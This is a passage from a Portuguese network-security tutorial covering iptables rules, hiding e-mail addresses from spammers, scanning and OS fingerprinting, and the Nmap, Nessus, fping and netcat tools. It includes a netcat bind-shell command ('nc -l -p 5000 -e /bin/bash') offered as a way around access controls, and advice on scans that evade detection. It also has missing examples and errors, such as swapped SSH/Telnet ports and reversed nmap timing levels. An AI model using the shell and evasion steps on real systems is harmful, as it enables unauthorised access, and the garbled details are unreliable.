iptables -A FORWARD -o eth0 -m state - -state ESTABLISHED,RELATED -j ACCEPT
#
# habilita o forward vinda da rede interna
#
iptables -A FORWARD -i eth1 -s 192.168.254.0/24 -J ACCEPT
7) SPAM
O SPAM, prática tão comum nos dias atuais, tem se tornado um problema para a maioria dos
administradores de sistemas, desenvolvedores e usuários de internet, mas a medida que os filtros anti-spam
evoluem as técnicas utilizadas para burlar os filtros se desenvolvem mais rápido ainda. Uma técnica que tem
surtido efeito é o uso da heurística, mas seu ponto fraco é apresentar uma grande quantidade de falsos
positivos.
Mas uma coisa é certa muito administradores estão ajudando os inimigos, principalmente aqueles
que devolvem as mensagens rejeitadas ao spammer que passam a ter certeza da existência daquele e-mail.
Mas alguns administradores estão fazendo sua parte, uma das medidas adotadas é a adoção de
servidores de SMTP que requerem a autenticação dos usuários antes de enviar o e-mail à seu destinatário.
A seguir serão apresentadas algumas técnicas que podem ser utilizadas para minimizar a ação dos
spammer.
Segundo pesquisa realizada pelo “Center for Democracy and Technology (CDT)”, uma das
principais fontes de endereços de e-mail para os spammer são os websites que estão disponíveis e que não
requerem autenticação. Neste contento alguns acham interessante excluir os e-mail das páginas
impediando este tipo de coleta por parte dos spanner, mas como os verdadeiros usuários terão acesso a
eles. O que deve ser implementado é uma forma de evitar que os spanner possam utilizar seus “robos” para
coletarem de forma automática estes endereços nos websites.
Mas nem tudo está perdido, várias são as técnicas que camuflagem que podem ser utilizadas a
mais simples, podem a mais problemática para o usuário é utilizar um e-mail “falso” como por exemplo:
suporte@remova-esta-parte.cyberoots.com.br, apesar de ser eficiente esta técnica pode complicar a vida
do usuários mais leigos, que também não saberão distinguir qual é a parte válida do endereço.
Outra forma de se proteger é inserir no código html o e-mail utilizando os caracteres codificados e
não os caracteres em sí, por exemplo no lugar de usuario@exemplo.com.br deveríamos utilizar:
usuari@exemp
08;o.com.br
Todos os navegadores existentes conseguem interpretar estes caracteres codificados, mas os robos
utilizados pelos spammer não possuem ferramentas para interpretar estes caracteres, não ainda.
Outra técnica que pode ser utilizada são os java scripts, que também não são interpretados pelos
robos, podemos por exemplo usa a função documment.writer() para escrever o conteúdo do e-mail, que
permitirá aos usuários visualizarem o endereço mas que irão confundir as sondas de coleta, ainda neste
sentido podemos colocar o endereço de e-mail em um arquivo externo.
A criptografia também pode nos ajudar, uma forma bem simplória de resolver o problema é utilizar a
função “XOR” da lógica matemática para esconder o conteúdo do texto no código e utilizar o java script para
realizar a decodificação do endereço. Mesmo sem uma forma fraca de criptografia ela é muito eficientes
contra os robos dos spammers. Mas os clientes que não possuem o java script habilitado não poderão
visualizar o endereço de e-mail, contudo a grande maioria dos navegadores já possuem suporte a java
script, basta então solicitar ao usuário que o habilite em seu navegador.
Mas quem falou que e-mail tem que ser representado na forma de texto puro? Se utilizarmos uma
figura contendo o endereço de e-mail, como a maioria dos robos não verificam o conteúdos das figuras o
endereço passará desapercebido. Todavia também podemos utilizar uma animação flash para a mesma
finalidade, mas o flash nem sempre está instalado na máquina do visitante e ele ainda não foi portado para
todas as plataforma que suportam o uso de navegadores web.
Entretanto se o motivo de se expor o endereço de e-mail é para que os visitantes possam entrar em
contato, podemos trocar este endereço por um formulário simples que pode ser usado para a mesma
finalidade.
Mas se seu objetivo é descobrir quem está garimpando seu site atrás de endereço de e-mail, crie
endereços de e-mails dinâmicos, através de java script, de tal modo que ele contenha a data, hora e
endereço ip de quem está acessando a página, logo ao receber um e-mail para endereços invalidos seu
servidor de e-mail pode repassá-los para uma conta especial que o administrador deverá monitorar, com isto
será possível determinar quem ou de onde os robos estão sendo disparados.
Para realizar a varredura da rede, características específicas do seu protocolo devem ser
exploradas. Como o protocolo de rede utilizado na especificação do modelo é o TCP/IP, as técnicas de
varredura aqui descritas são aquelas que se baseiam nas características desta pilha de protocolo.
Sobre a pilha do TCP/IP existem três tipos básicos de varreduras: uma baseada no seu protocolo de
controle (ICMP), outra no protocolo TCP e a terceira no protocolo UDP. Dentre as varreduras, a mais
utilizada é a TCP, isto se deve ao elevado nível de exatidão que esta coleta de dados propicia.
Uma das técnicas mais simples de varredura é a Varredura via ICMP. O protocolo ICMP é
normalmente utilizado para o envio e recebimento de informações sobre o funcionamento dos nós, como por
exemplo, data e hora.
Através deste protocolo é possível implementar vários métodos de varreduras, como por exemplo:
envio de ECHO e ECHO Reply; análise de mensagens de erro geradas por um nó, uso de Trace Route
com ICMP ECHO e etc.
ICMP ECHO e ECHO Reply : Esta varredura consiste no envio de pacotes do tipo ICMP
ECHO ao nó alvo e aguardar por uma resposta. Todo nó ativo deve responder a esta mensagem com um
pacote do tipo ICMP ECHO Reply . Quando um nó não responde aos pacotes ICMP ECHO dentro de um
intervalo de tempo (time-out), o mesmo pode estar desconectado ou sendo filtrado por algum firewall ou
gateway de borda.
Uma alternativa ao ping é o aplicativo fping, que é utilitário de rede disponível para as
plataformas Unix-Like e que funciona de forma análoga ao ping, mas com o envio de
pacotes de forma paralela que utiliza a mesma técnica, entretanto realiza o envio dos
O uso do endereço de Broadcast e de Rede são duas alternativas que podem ser utilizadas
neste tipo de varredura. Neste caso, todos os nós ativos na rede devem responder ao nó
que originou a mensagem com um pacote ICMP ECHO Reply. Desta forma, com um único
pacote é possível varrer todo um segmento de rede. Entretanto, esta técnica só pode ser
aplicada para nós baseados no Unix , uma vez que máquinas com sistema operacional da
Microsoft não respondem a solicitação ICMP quando enviada ao endereço de Broadcast ou
de Rede.
Non-ECHO ICMP : Além da mensagem ICMP ECHO, o protocolo ICMP implementa vários
outros tipos de mensagens que podem ser utilizadas na varredura da rede e em alguns casos no próprio
mapeamento de dispositivos de rede. Dentre as principais mensagens ICMP pode-se destacar: ECHO
( Request - Tipo 8 , Reply - Tipo 0); Time Stamp ( Request - Tipo 13 , Reply - Tipo 14); Information
( Request - Tipo 15 , Reply - Tipo 16) e Address Mask ( Request - Tipo 17 , Reply - Tipo 18).
O envio de mensagens do tipo ICMP Time Stamp Request é utilizado normalmente, para
questionar a um nó a sua hora e data atual. Receber uma resposta ICMP Time Stamp
Reply , significa que o nó está ativo. Contudo, as mensagens ICMP Time Stamp Request
não costumam ser respondidas por nós com um dos sistemas operacionais da Microsoft. O
comportamento dos sistemas da Microsoft se deve à forma como a RFC 1122 foi
interpretada pelos seus desenvolvedores.
A mensagem ICMP Address Mask Request é utilizada por uma máquina sem disco, para
obter a máscara de rede durante seu processo de boot e também pode ser utilizada para
realizar a varredura da rede.
Quando uma solicitação deste tipo é feita através do endereço de Broadcast todos os nós
que estão configurados para responder a esta mensagem envia um "reply" com o
endereço solicitado. Normalmente este tipo de mensagem é respondida por Gateways,
Roteadores e em alguns casos por máquinas, que funcionam como agentes autorizados
para o fornecimento de máscara de rede.
ICMP Error Messages: Este método consiste no envio de mensagens formatadas de tal
modo que ao serem recebidas pelo nó produzirão uma mensagem de erro do protocolo ICMP.
Uma das formas de se provocar uma mensagem de erro é através do envio de pacotes IP
que possuem em seu cabeçalho campos incorretos. Pacotes deste tipo normalmente geram
uma mensagem de erro do tipo "ICMP Parameter Problem Error" , que normalmente
possui o campo "Code" configurado para zero (0). Esta varredura permite identificar nós
ativos, independentemente dos protocolos (TCP/UDP/ICMP) implementados por eles, que
também pode ser empregada sobre roteadores. Contudo, roteadores realizam uma
verificação mais relaxada dos campos do cabeçalho IP, como afirma a RFC1812 .
Outra vantagem é que, esta técnica pode ser aplicada mesmo se o nó está sendo filtrado
por algum firewall , uma vez que as mensagens forjadas podem ser enviadas para portas
específicas, como por exemplo, as portas TCP: 21, 25, 80 e UDP 53.
ICMP Fragmentation Needed and Don't Fragment Bit was Set : Quando um roteador
recebe uma mensagem, ele verifica o valor do campo "PMTU" , se este for maior do que o valor que ele
está utilizando, o roteador pode retornar ao nó, que gerou o pacote, uma mensagem de erro do tipo "ICMP
Fragmentation Needed and Don't Fragment Bit was Set" .
Vários gateways de segurança impedem o envio e o recebimento de pacotes ICMP entre redes
distintas, para inibir a varredura ICMP .
Quando as varreduras baseadas no protocolo ICMP não podem ser utilizadas, a Varredura de
Portas é uma alternativa eficiente, uma vez que sempre existem portas através das quais um gateway
permite o tráfego de entrada e saída, como é o caso das portas: 21 (FTP), 22 (Telnet), 23 (SSH), 25
(SMTP), 80 (HTTP), 110 (POP) e 443 (HTTPS) .
A varredura de portas TCP é feita pelo envio de pacotes à porta alvo e aguardando-se pelas
respostas. Quando a porta alvo responde, os pacotes recebidos terão alguns de seus campos analisados e,
com base nesta análise, será possível determinar se a porta está aberta e o nó ativo.
Atualmente, existem vários tipos de varredura TCP, algumas das quais são descritas a seguir.
Varredura de Conexão TCP : Nesta varredura, a máquina de origem tenta estabelecer uma
conexão válida com a porta alvo, durante a qual deve ocorrer o "3 way handshake" do protocolo TCP, este
processo consiste no envio de um pacote "SYN" à porta alvo, no recebimento de um pacote "SYN/ACK"
\ e finalmente no envio do pacote "ACK" à porta alvo. Caso a conexão seja completada com sucesso, é
possível afirmar que a porta está aberta e o nó ativo.
Por realizar uma conexão completa, esta varredura pode ser facilmente percebida por
ferramentas de detecção de intrusão e por essa razão raramente é utilizada com finalidade furtiva.
Varredura TCP SYN : esta varredura também é conhecida como varredura semi-aberta, pois ao
receber o pacote "SYN/ACK" vindo da porta alvo, o nó, que originou a primeiro pacote, não responde com
o pacote "ACK" . Ao receber o pacote com os bits "SYN/ACK" setados, o nó pode-se afirmar que a porta
está aberta. Contudo, se for recebido um pacote com os bits "RST/ACK" , a porta provavelmente não está
no estado de escuta.
Por ser uma técnica mais furtiva, vários sistema de monitoramento não registram este tipo de
varredura.
Varredura TCP FIN : este técnica é muito utilizada contra sistemas baseados em UNIX, pois
quando estes recebem um pacote "FIN" destinado à porta fechada, eles enviam de volta um pacote "RST",
contudo o mesmo não acontece com sistemas Windows que ignoram o pacote. Este padrão é documentado
na RFC793 .
Varredura TCP Xmas Tree : neste caso ocorre o envio de um pacote com os bits "FIN" , "URG" e
"PUSH" ligados à porta alvo e segundo a RFC793, toda porta fechada deve responder com um pacote
"RST"
Varredura TCP NULL : Quando uma porta alvo recebe um pacote com todos os flags desligados
(setados como 0), ela deve responder com um pacote "RST" caso esteja fechada.
Varredura TCP ACK : Esta técnica é usada para mapear regras de um determinado firewall,
permitindo determinar se o firewall é apenas um filtro de pacote ou um firewall de estados.
Varredura TCP Windows : Esta técnica analisa o tamanho do campo Window do protocolo TCP e
permite determinar se a porta está aberta , filtrada ou não filtrada . Esta análise é possível, pois alguns
gateways de segurança alteram o valor deste campo quando filtram determinadas portas.
Varredura TCP RPC : Esta técnica permite identificar qual é a versão dos aplicativos RPC \footnote
{O serviço RPC (Remote Procedure Call) é especifico do sistema operacional UNIX. que estão ativos em
um nó Unix Like. Alguns dos serviços que fazem uso do RPC são o NFS (Network File System) e o NIS
(Network Information Service).
Apesar de existirem vários tipos de varreduras TCP, existe somente uma baseada no protocolo
UDP. Esta única varredura consiste no envio de "datagramas" com zero (0) bytes de dados à porta alvo. A
resposta pode ser uma mensagem "ICMP port unreachable" indicando que a porta está fechada, caso não
ocorra nenhuma resposta, a porta pode estar aberta ou sendo filtrada.
Quando datagramas são enviados a várias portas de uma máquina e um grande número delas não
os responde, estas provavelmente estão em estado de escuta. Por outro lado, se nenhuma porta responde,
isto pode indicar que ou o nó está fora do ar ou o mesmo está sendo filtrado.
Uma forma alternativa de análise consiste na escolha de uma porta UDP que, segundo a lista de
porta definida pela IANA, não deve estar em estado de escuta, e no envio de pacotes, se a mesma não
responder com uma mensagem "ICMP Port Unreachable Error" é porque ela está sendo filtrada.
Existe uma grande quantidade de ferramentas disponíveis para se realizar a varredura de redes de
computadores, no entanto, apenas algumas se destacam pelas suas funcionalidades, dentre elas:
O "fingerprinting" ativo possui um elevado nível de exatidão, mas falha quando as características
da pilha TCP/IP são alteradas pelo seu administrador. Isto normalmente ocorre quando o administrador
realiza otimizações no nó ou quando ele implementa uma política baseada em "obscuridade" , na qual o
"fingerprinting" é alterado para forjar um outro sistema operacional.
A coleta ativa da impressão digital de um nó pode ser realizada através de várias análises simples,
tais como:
Sonda FIN: segundo a RFC973 , quando uma porta aberta recebe um pacote "FIN" não deve
responder, entretanto algumas pilhas TCP/IP , como é o caso da pilha do Windows NT, responde com uma
mensagem FIN/ACK ;
Sonda de Flag Falso: consiste no envio de um pacote SYN com o flag indefinido configurado
como "1" , dependendo do sistema operacional. Este pacote pode ser respondido através de um pacote
com o mesmo flag setado em "1". Este procedimento é implementado pelo Linux e por outros sistemas
Unix Like ;
Bit não Fragmentar: para permitir um melhor desempenho do protocolo, TCP/IP alguns sistema
operacionais setam este campo com o valor "1" e outros, como é o caso do Solaris , não permitem o seu
uso;
Tamanho da Janela TCP: o tamanho deste campo é normalmente dependente do sistema
operacional. Por exemplo: o AIX é o único sistema operacional a utilizar o valor Ox3F25 para este campo;
Numero Seqüencial do ACK: esta técnica consiste em observar o valor do número seqüencial do
pacote ACK . Alguns sistemas respondem ao pacote com o mesmo número seqüencial daquele que o
originou, outros incrementam este valor em uma unidade antes de respondê-lo;
Tipo de Serviço (TOS): a maioria dos sistema operacionais setam este campo para zero (0)
quando enviam uma mensagem " ICMP port unreachable ", apesar de alguns sistemas operacionais utilizam
valores diferentes.
Opções do TCP: as opções básicas do protocolo TCP são determinadas pela RFC793 e pela
RFC1323, já as opções avançadas são definidas pela RFC1323. Realizando o envio de vários pacotes com
valores específicos nestes campos e analisando a resposta, pode-se supor o sistema operacional ativo,
visto que nem todos os sistemas implementam todas as opções descritas nestas RCFs .
Existem ainda outras técnicas que não se utilizam de pacotes TCP ou UDP, ao invés disto, fazem
uso de mensagens de ICMP. Estas técnicas foram utilizadas por Ofir Arkin na construção da ferramenta
Xprobe .
A coleta passiva consiste na captura de pacotes, pertencentes às conexões ativas, por um sniffer.
Sniffers são utilitários de rede que operam em modo promíscuo e permitem a coleta dos dados das
conexões de outras estações de trabalho, sem que ocorra a alteração da mesma ou que a ação seja
detectada e da análise dos mesmos. Esta coleta necessita que a interface de rede esteja operando em
modo promíscuo. No modo promíscuo todo o tráfego de dados pode ser capturado por uma interface de
rede, independentemente do endereço de destino , não gerando assim tráfego na rede.
O fingerprinting passivo possui a grande de vantagem ser indetectável pelo nó alvo. Por outro lado,
caso existam pacotes forjados circulando pela rede, a coleta passiva pode ser induzida a determinar de
forma errônea o sistema operacional de alguns nós.
A análise dos pacotes coletados pela interface de rede tem por finalidade determinar as
"idiossincrasias" nas implementações das pilhas TCP/IP de cada sistema operacional.
Durante uma análise, o primeiro campo verificado é o campo TTL . Quando o valor deste campo é
igual à 64, o pacote provavelmente pertence a um nó com Linux ou FreeBSD.
O segundo campo analisado é o Windows Size , que normalmente possui valor igual a 0x7D78
quando a máquina possui uma versão do Windows ou do Linux instalado. O terceiro campo verificado é o
flag DF , que indica se o pacotes está fragmentado ou não. Poucos são os sistemas que setam este bit
como "zero", mas o SCO e o OpenBSD utilizam este padrão. O ultimo campo verificado é o TOS , que na
maioria das mensagem está setado para "zero".
Por exemplo: suponha que um dos pacotes capturados pelo "sniffer" apresente as características
abaixo . Cruzando os dados coletados com as informações acima, pode-se concluir que o nó provavelmente
roda uma versão do Kernel do Linux.
TTL 64
Window Size 0x7D78
DF bit 1
TOS 0x0
Outros campos também podem ser utilizados na detecção do sistema operacional de forma passiva,
mas softwares como o Siphon, p0f e o Cheops utilizam somente estes quatro campos para gerar e
verificar as assinaturas dos sistemas operacionais.
9)Kit de Ferramentas
9.1) Nmap
O Nmap fornece, de uma maneira geral, a relação de computadores e serviços ativos. Existem
diversas formas e parâmetros a serem informados durante uma varredura. Para obter o código fonte é só
acessar o link abaixo e procurar por “Latest Stable Version Tarball”:
http://www.insecure.org/nmap_download.html
-sP ou Ping scan: Algumas vezes é necessário saber se um determinado host ou rede está
no ar. Nmap pode enviar pacotes ICMP “echo request” para verificar se determinado host
ou rede está ativa. Hoje em dia, existem muitos filtros que rejeitam os pacotes ICMP
“echo request”, então envia um pacote TCP ACK para a porta 80 (default) e caso receba
RST o alvo está ativo. A terceira técnica envia um pacote SYN e espera um RST ou
SYN-ACK.
-sR ou RCP scan: Este método trabalha em conjunto com várias técnicas do Nmap. Ele
considera todas as portas TCP e UDP abertas e envia comandos NULL SunRPC, para
determinar se realmente são portas RPC. É como se o comando “rpcinfo -p” estivesse
sendo utilizado, mesmo através de um firewall ( ou protegido por TCP wrappers ).
-sS ou TCP SYN scan: Técnica também conhecida como “half-open”, pois não abre uma
conexão TCP completa. É enviado um pacote SYN, como se ele fosse uma conexão real
e aguarda uma resposta. Caso um pacote SYN-ACK seja recebido, a porta está aberta,
enquanto um como resposta indica que a porta está fechada. A vantagem dessa
abordagem é que poucos irão detectar esse scanning de portas.
-sT ou TCP connect() scan: É a técnica mais básica de TCP scanning. É utilizada a chamada
de sistema (system call) “connect()” que envia um sinal as portas ativas. Caso a porta
esteja aberta recebe como resposta “connect()”. É um dos scan mais rápidos, porém
fácil de ser detectado.
-sU ou UDP scan: Este método é utilizado para determinar qual porta UDP está aberta em um
host. A técnica consiste em enviar um pacote UDP de 0 byte para cada porta do host. Se
for recebido uma mensagem ICMP “port unreachable” então a porta está fechada, senão
a porta pode estar aberta. Para variar um pouco, a Microsoft ignorou a sugestão da RFC
e com isso a varredura de máquinas Windows é muito rápida.
-sV ou Version detection: Após as portas TCP e/ou UDP serem descobertas por algum dos
métodos, o nmap irá determinar qual o serviço está rodando atualmente. O arquivo
nmap-service-probes é utilizado para determinar tipos de protocolos, nome da aplicação,
número da versão e outros detalhes.
-sF, -sX, -sN ou Stealth FIN, Xmas Tree ou Null: Alguns firewalls e filtros de pacotes detectam
pacotes SYN's em portas restritas, então é necessário utilizar métodos avançados para
atravessar esses softwares.
FIN: Portas fechadas enviam um pacote RST como resposta a pacotes FIN, enquanto
portas abertas ignoram esses pacotes. (Esse método não funciona com a plataforma Windows,
uma vez que a Microsoft não seguiu RFC 973)
Xmas Tree: Portas fechadas enviam um pacote RST como resposta a pacotes FIN,
enquanto portas abertas ignoram esses pacotes. As flags FIN, URG e PUSH são utilizados no
pacotes FIN que é enviado ao alvo. (Esse método não funciona com a plataforma Windows, uma
vez que a Microsoft não seguiu RFC 973)
Null: Portas fechadas enviam um pacote RST como resposta a pacotes FIN, enquanto
portas abertas ignoram esses pacotes. Nenhuma flag é ligada no pacote FIN. (Esse método não
funciona com a plataforma Windows, uma vez que a Microsoft não seguiu RFC 973)
Além destas o nmap possui outras opções de uso geral, das quais podemos destacar:
-F : Procura pelas portas que estão no /etc/services. Método mais rápido, porém não
procurar por todas as portas.
nmap -F alvo
-I : Se o host estiver utilizando o ident, é possível identificar o dono dos serviços que estão
sendo executados no servidor (trabalha com a opção -sT)
nmap -n alvo
-O : Ativa a identificação do host remoto via TCP/IP. Irá apresentar versão do Sistema
Operacional e tempo ativo.
nmap -O alvo
-P0 :Não tenta pingar o host antes de iniciar a varredura. Isto permite varrer alvos que
bloqueiam ICMP “echo request (ou responses)” através de firewall.
-r : A varredura será feita nas portas randomicamente, não seguinte a ordem crescente.
nmap -r alvo
-T <Paranoid|Sneaky|Polite|Normal|Aggressive|Insane>
Paranoid (-T5) é muito lento na esperança de prevenir a detecção pelo sistema IDS.
Este serializa todos os scans (scanning não paralelo) e geralmente espera no
mínimo 5 minutos entre o envio de pacotes.
Sneaky (-T4) é similar ao Paranoid, exceto que somente espera 15 segundos entre o
envio de pacotes.
Polite (-T3) tem o significado para facilitar a carga na rede e reduzir as chances de
travar a máquina. Ele serializa os testes e espera no mínimo 0.4 segundos entre eles.
Normal (-T2) é o comportamento default do Nmap, o qual tenta executar tão rápido
quanto possível sem sobrecarregar a rede ou perder hosts/portas.
Aggressive(-T1) esse modo adiciona um timeout de 5 minutos por host e nunca
espera mais que 1.25 segundos para testar as respostas.
Insane (-T0) é somente adequando para redes muito rápidas ou onde você não
se importa em perder algumas informações. Nesta opção o timeout dos hosts
acontecem em 75 segundos e espera somente 0.3 segundos por teste individual.
-ttl <valor> : Altera o valor do TTL (Time to Live), dessa forma dificulta a origem do
pacote.
nmap -v alvo
nmap -v alvo
Lança uma varredura TCP Syn contra cada máquina que está ativa, abrangendo todas
as 255 máquinas de classe “C” onde alvo faz parte. Além disso determina o sistema
operacional de cada host.
Envia uma varredura Xmas Tree para o alvo, além de varrer somente os serviços de
sshd, Dns, pop3d e imapd.
9.2) Nessus
Nessus é uma ferramenta para auditoria de segurança. Com ele é possível verificar varias
vulnerabilidades em sua rede. O nessus permite que se faça isso de uma forma segura, nao permitindo que
usuários não autorizados possam scanear sua rede com ele. Ele é composto por duas partes, sendo um
cliente e um servidor. Pode-se usá-lo a partir do windows©, porém isso não será abordado nesse artigo.
Ele possui uma série de recursos bastante interessantes como trabalhar em conjunto com o nmap e
também a possibilidade de atualização apenas baixando novos plugins de ataques e/ou vulnerabilidades. O
Nessus foi criado em 1998 por Renaud Deraison, sendo que naquela época o melhor security scanner era o
SATAN ( que se encontrava bastante desatualizado ). Deraison resolveu dividir o sistema em plugins,
facilitando muito a atualização e a prevenção contra novos ataques. A partir da versão 1.0.0 foi criado um
script que automaticamente atualiza o plugins para que o nessus possa detectar uma nova vulnerabilidade e
assim sugerir uma forma ou explicação para corrigi-la.
O nessus possui uma GUI muito flexível onde você configura vários detalhes de varredura na sua
rede. Nela pode-se configurar quais plugins( ataques ) usar e os hosts(targets) que serão scanneados.
Primeiramente rode o nessus cliente, bastando para isso digitar nessus na linha de comando. Ele pedirá,
entao, a senha que você configurou inicialmente. Vamos abordar agora quais são as opções de
configuração do cliente nessus.
Nessus host : nesta aba de configuração você deve especificar o endereço ip do daemon nessus e
também a porta tcp em que ele está rodando (geralmente 1241). Nesta tela também é possível optar pelo
algoritmo de criptografia que será usado. Também é preciso especificar o nome do usuário para logar no
daemon.
Plugins : Aqui reside todo o poder do nessus, nesta aba se encontram as explorações (exploits) das
vulnerabilidades conhecidas em forma de plugins. O nessus se vale destes plugins para avaliar as
vulnerabilidades do sistema scanneado.
Prefs. : São especificados valores como usuários e senhas de serviços como ftp, pop, imap e smb.
De porte desses dados o nessus pode fazer verificações muito mais eficitentes nos seus hosts, já que
alguns exploits pressupõem que o "explorador" possui uma conta válida de algum desses serviços. Também
é possível configurar o tipo de scan que será usado pelo nmap ( caso possua ).
Scan Option -> Aqui pode-se especificar as portas que serão scaneadas pelo nessus, use virgula
para portas individuais e hífen para intervalos(80,110,443-1024). No caso de utilizar o nessus para scanear
servidores web é bastante interessante especificar o path, ou caminho, dos CGI's no seu servidor. Por
exemplo se você especificar o path /cgi-bin/ para o nessus procurará por CGI's "exploitáveis" em
http://host/cgi-bin/.
Target Selection : Preencha o único campo desta aba para especificar as máquinas que serão
scaneadas. Clicando no botão "Read file..." você especifica um arquivo onde estão o endereços IP das
máquinas a serem verificadas.
User : Aqui estão suas informacões pessoais como a chave que deve ser usada e também pode-se
trocar a sua senha do nessus
Assim que você iniciar o nessus lhe será solicitado a senha. A primeira tela que irá surgir é a nessus
host nesta tela se encontram, além da opções citadas acima, o botão de login clicando nele você ja poderá
configurar os plugins que serão utilizados. Agora na aba Plugins você escolhe quais "ataques" e
explorações deverão ser aplicadas aos seus alvos. Como já foi citado este é um dos maiores diferenciais do
nessus, os plugins estão separados por categorias e cada um deles possui um texto explicando o que
aquele exploit faz e também o grau de risco bem como resolver o problema caso esta vulnerabilidade seja
encontrada. Caso alvos sejam máquinas que estão em produção não aconselho usar utilizar o plugins de
DoS e nem aqules que possuem um sinal de alerta ao lado assim evitamos surpresas. Se os alvos
estiverem abertos para internet é importante marcar ao menos as seguintes categorias : Gain Shell
Remotely, Gain Root Remotely, Backdoors, Remote File Access. Cabe a você analisar quais plugins
deverão ser utilizados na varredura, caso sua rede seja composta apenas por sistemas *NIX não existe a
menor necessidade de utilizar os plugins referentes a Wingate, por exemplo.
Após escolher os plugins mais adequandos a sua rede vamos escolher quais hosts serão
scaneados. Clique na aba Target Selection e especifique as máquinas que deseja scanear ( todas elas
devem estar com o nessusd rodando ). Como mencionado acima você deve colocar os alvos(targets)
separados por vírgula ou especificar um arquivo de onde onde o nessus irá ler os alvos.
Com tudo configurado(geralmente não é preciso mudar muita coisa) você pode iniciar a varredura
em sua rede para isto clique no botão "Start the scan". Agora o nessus irá varrer sua rede isso pode
demorar um pouco conforme a velocidade da rede e quantidade de plugins que você selecionou.
Para realizar a atualização de seus plugins, o nessus possui um script, que para funcionar necessita
que se esteja conectado na internet. Para executa-lo rode o seguinte comando:
nessus-update-plugins -v
Com a opção -v serão exibidos os plugins que estão sendo baixados. Este script não possui
nenhuma forma para verificar a integridade dos plugins baixados,por isso use-o com cautela.( leia a
manpage deste script para maiores detalhes)
9.3) Fping
O fping é um programa que, assim como ping, utiliza o protocolo ICMP (
!"#
) para determinar se um ou vários nós da rede estão ativos, mas ao contrário do ping, ele permite
realizar a verificação de vários nós ao mesmo tempo, o endereço dos nós pode ser passado via linha de
comando ou através de um arquivo texto.
Este comando vem sendo largamente utilizado em cript devido seu baixo tempo de resposta e sua
saída ser de fácil manipulação.
Exemplos:
Informa o estado das máquinas utilizando o nome de domínio delas, como pode ser
observado logo abaixo:
Informa somente o nome das máquinas que estão ativas, como vemos abaixo:
Informa somente o nome das máquinas que não podem ser encontradas, como pode
ser observado logo abaixo:
Envia apenas dois pacotes para cada host e no final informa a taxa de pacotes
enviados, recebidos e perdidos, como pode ser observado logo abaixo:
Envia apenas cinco pacotes para cada host e no final informa o tempo de resposta de
cada um, como pode ser observado logo abaixo:
9.3) Netcat
Netcat é uma ferramenta usada para ler e escrever dados em conexões de rede usando o protocolo
TCP/IP. Dada sua grande versatilidade, o NetCat é considerado pelos hackers o canivete suíço do TCP/IP,
podendo ser usado para fazer desde portscans até brute force attacks.
O nome netcat vem do comando cat do Linux/Unix. O cat concatena arquivos e envia para a saída
padrão (stdout). O netcat faz praticamente o mesmo, porém ao invés de concatenar arquivos, o netcat
concatena sockets TCP e UDP.
-e comando : Executa o comando especificado usando como entrada (stdin) os dados recebidos
pela rede e enviando os dados de saída (stdout e stderr) para a rede. Essa opção somente estará presente
se o nc for compilado com a opção GAPING_SECURITY_HOLE, já que permite que usuários disponibilizem
programas para qualquer um conectado a rede.
-L : Coloca no netcat em estado de escuta (listening), reiniciando o netcat com a mesma linha de
comando caso a conexão feche;
-n : Força o netcat a usar apenas endereços de IP numéricos, sem fazer consultas a servidores
DNS;
-o filename : Usando para obter um log dos dados de entrada ou saída, em formato hexadecimal;
-s : Especifica o endereço IP da interface usada para enviar os pacotes. Pode ser usado para
spoofing de IPs, bastando apenas configurar uma interface do tipo eth0:0 (usando o ifconfig) com o IP
desejado;
-t : Permite usar o nc para criar sessões de telnet por script. Precisa estar compilado com a opção
-DTELNET;
-z : Para evitar o envio de dados através de uma conexão TCP, e limitar os dados de uma conexão
UDP.
Para testar o netcat, usaremos dois aliases na interface loopback (lo) do linux. O endereço IP default
da interface lo no linux é 127.0.0.1. Se mexermos com o endereço 127.0.0.1 podemos quebrar as nossas
conexões de rede. Ao invés disso, usaremos os aliases lo:1 e lo:2 para executarmos os testes. Para atribuir
endereços IP à essas interfaces, os seguintes comandos devem ser executados (como usuário root) na
console do linux:
ifconfig
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:10 errors:0 dropped:0 overruns:0 frame:0
TX packets:10 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:700 (700.0 b) TX bytes:700 (700.0 b)
As interfaces de rede configuradas dessa forma permitem-nos trabalhar como se fossem dois
computadores na mesma rede, com IPs diferentes.
nc -vv -l -p8080
Listening on any address 8080 (webcache)
Assim, tudo o que for digitado no cliente será repetido no servidor (na primeira console). Use CTRL-
C para terminar a conexão.
Transferir arquivos de um host para outro usando o netcat é bastante simples. Basta configurar o
lado server (que vai receber o arquivo) para "escutar" uma porta específica e redirecionar todos os dados
recebidos para um arquivo. Colocando-se um timeout, o servidor irá perceber quando não existem mais
dados chegando e irá fechar a conexão. No lado cliente da conexão, simplesmente conecta-se à porta do
servidor e passa-se o arquivo a ser transferido como entrada.
Servidor:
Cliente:
O servidor irá mostrar a seguinte mensagem quando uma conexão for estabelecida:
Novamente, a conexão deve ser terminada usando-se o CTRL-C. O servidor irá mostrar:
Exiting.
Total received bytes: 6
Total sent bytes: 0
Agora que já sabemos como fazer uma transferência de arquivos, podemos tentar algo mais útil. Por
exemplo, podemos nos conectar em uma máquina remota e executar alguns comandos, sem passar por
mecanismos de controle de acesso. Para isso, podemos usar o netcat com a opção -e. Um simples
exemplo:
nc -l -p 5000 -e /bin/bash
No cliente:
nc 10.0.1.1 5000
Agora, estamos conectados no servidor, e com acesso ao shell. Não vemos o prompt, mas podemos
ver a saída de cada comando enviado para o servidor:
ls
bin dev home media opt root srv tmp var
boot etc lib mnt proc sbin sys usr
É possível usar o netcat para fazer portscans. Para isso, deve-se usar a flag -z (zero I/O mode), que
apenas conecta e desconecta de uma determinada porta. Para executar um scan um portas UDP, deve-se
usar a opção -u.
TCP
UDP
No exemplo abaixo, tentamos fazer um scan das portas 21 até 26. Como pode-se ver, portas
fechadas resultam em um "Connection refused" e portas abertas mostram "open". O scan UDP é
basicamente o mesmo.
Muitas empresas possuem algum tipo de link dedicado para acesso a internet. Tambem possuem
algum tipo de firewall que bloqueia o acesso a rede interna, que muitas vezes não tem um IP válido que
podemos acessar. Para logar remotamente em um computador dessa rede, talvez para copiar algum
arquivo importante para finalizar um trabalho que esteja fazendo de sua casa, um cliente telnet ou ftp não
poderia ser usado.
Por exemplo, temos um servidor que aceita apenas conexões externas na porta 80, mas não tem
um IP externo válido. O computador de casa provavelmente possui um IP real válido, e portas que podem
